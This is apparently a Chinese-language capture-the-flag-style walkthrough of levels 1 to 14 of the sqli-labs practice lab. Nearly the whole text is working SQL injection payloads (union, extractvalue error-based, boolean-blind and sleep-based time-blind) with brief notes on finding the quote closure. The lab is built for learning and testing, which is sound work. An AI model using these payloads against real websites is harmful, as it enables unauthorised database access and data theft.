sqli-labs(1-14关)
第一关:
?id=1' and 1=2 union select 1,database(),3--+
第二关:
?id=1 and 1=2 union select 1,database(),3
第三关:
?id=1') and 1=2 union select 1,database(),3--+
第四关:
?id=1") and 1=2 union select 1,database(),3--+
第五关:
?id=1' and extractvalue(1,concat(0x5e,(select database()),0x5e))--+
第六关:
?id=1" and extractvalue(1,concat(0x5e,(select database()),0x5e))--+
第七关:
采用的注入方法是布尔盲注:(忽略界面提示,按自己方法搞,反正我目的是结果注入成功就行)
?id=1 正常,测试加入单引号'后出现输入错误的提示,但没有数据回显和sql报错信息
思路:没有数据回显,排除联合查询;没有SQL报错信息,排除报错注入;页面有Boolean状态,尝试使用布尔盲注
?id=1'出现错误提示,说明输入内容干预了SQL语句,接下来尝试闭合(需要加--+注释)
?id=1)' | ?id=1') | ?id=1)') | ?id=1))' #均无法闭合
?id=1')) #成功闭合
测试是否可以使用布尔盲注:
?id=1')) and length(database())>1--+ #正常显示
?id=1')) and length(database())>100--+ #出现错误提示,证明确实存在布尔盲注
接下来没啥了...抓包利用burp爆破
?id=1')) and substr(database(),1,1)='s'--+
第八关:
同第七关,区别是单引号闭合
第九关:
思路:
没有回显,单引号,双引号,and 1=1, and 1=2 各种尝试,页面内容纹丝不动
猜测可以使用延时注入,输入sleep(5)后,并没有沉睡
尝试闭合:?id=1' and sleep(5),延迟加载,开始进一步确认
?id=1' and if(length(database())>1,sleep(5),1)--+
?id=1' and if(length(database())>100,sleep(5),1)--+
第十关:
同第九关,区别是双引号
第十一关:
用户名栏输入admin'后报错:
'admin'' and password='' LIMIT 0,1
开始构造payload:
1' and extractvalue(1,concat(0x5e,(select database()),0x5e)) and 1='1--+
因为此关没有回显,但是有报错,所以采用报错注入
第十二关
与第十一关类似,难度就在构造SQL上
密码栏输入:
1") and extractvalue(1,concat(0x5e,(select database()),0x5e)) and ("--+
第十三关
同十二关,把双引换成单引即可
第十四关
同上
密码栏输入:
123" and extractvalue(1,concat(0x5e,(select database()),0x5e)) and "1--+

浙公网安备 33010602011771号